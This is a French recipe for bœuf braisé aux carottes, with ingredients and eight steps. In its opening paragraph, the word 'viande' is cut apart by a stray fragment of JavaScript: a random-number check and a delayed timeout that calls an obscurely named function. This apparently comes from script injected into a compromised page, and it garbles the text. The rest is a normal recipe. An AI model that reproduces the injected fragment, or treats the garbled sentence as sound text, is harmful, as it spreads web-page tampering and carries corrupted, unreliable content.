Bœuf braisé aux carottes

2017-12-26

Coupez le morceaux de bœuf en morceaux. Dans une cocotte avec l’huile d’arachide, faites revenir sur feu vif, les morceaux de viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande sur toutes les faces. Ajoutez la farine, bien mélangez jusqu’à ce qu’ils soient dorés.

Ingrédients

  • Pour 4 personnes
  • 1 kg de gîte de bœuf
  • 150 g de lard de poitrine
  • 200 g d’oignons grelots
  • 200 g de champignons de Paris
  • 6 carottes coupées en rondelles épaisses
  • 1 oignon piqué de clous de girofle
  • 1 gousse d’ail
  • 1 bouquet garni
  • 2 cuillères à soupe d'huile d'arachide où de colza
  • 50 cl de vin blanc
  • 1 verre de porto
  • 1 cuillère à soupe de concentré de tomates
  • 1 cuillère à soupe de farine
  • 1 cuillère à soupe de sucre
  • Sel et Poivre

Préparation de la recette

Etape 1

Coupez le morceaux de bœuf en morceaux. Dans une cocotte avec l'huile d'arachide, faites revenir sur feu vif, les morceaux de viande sur toutes les faces.

Etape 2

Ajoutez la farine, bien mélangez jusqu'à ce qu'ils soient dorés.

Etape 3

Mouillez avec le vin blanc et le porto. Portez à ébullition.

Etape 4

Ajoutez le concentré de tomates, une cuillère à soupe de sucre en poudre. Faites cuire pendant 5 minutes sur feu moyen.

Etape 5

Coupez le lard en petits dés, incorporez dans la viande, l’oignon piqué de clous de girofle, les carottes coupées en rondelles, le bouquet garni, les oignons grelots, salez et poivrez. Fermez la cocotte où (autocuiseur) faites cuire pendant 40 minutes sur feu doux .

Etape 6

Essuyez, coupez en deux les champignons. Faites-les suer dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, pendant 10 minutes salez et poivrez. Réservez.

Etape 7

Vérifiez la cuisson de la viande, retirez les morceaux de viande, les carottes, les oignons, les lardons.

Etape 8

Remettez sur le feu avec les champignons, la viande et les légumes, sauf le bouquet garni pendant 5 minutes. Éteignez le feu. A couvert pendant quelques secondes. Et servez.

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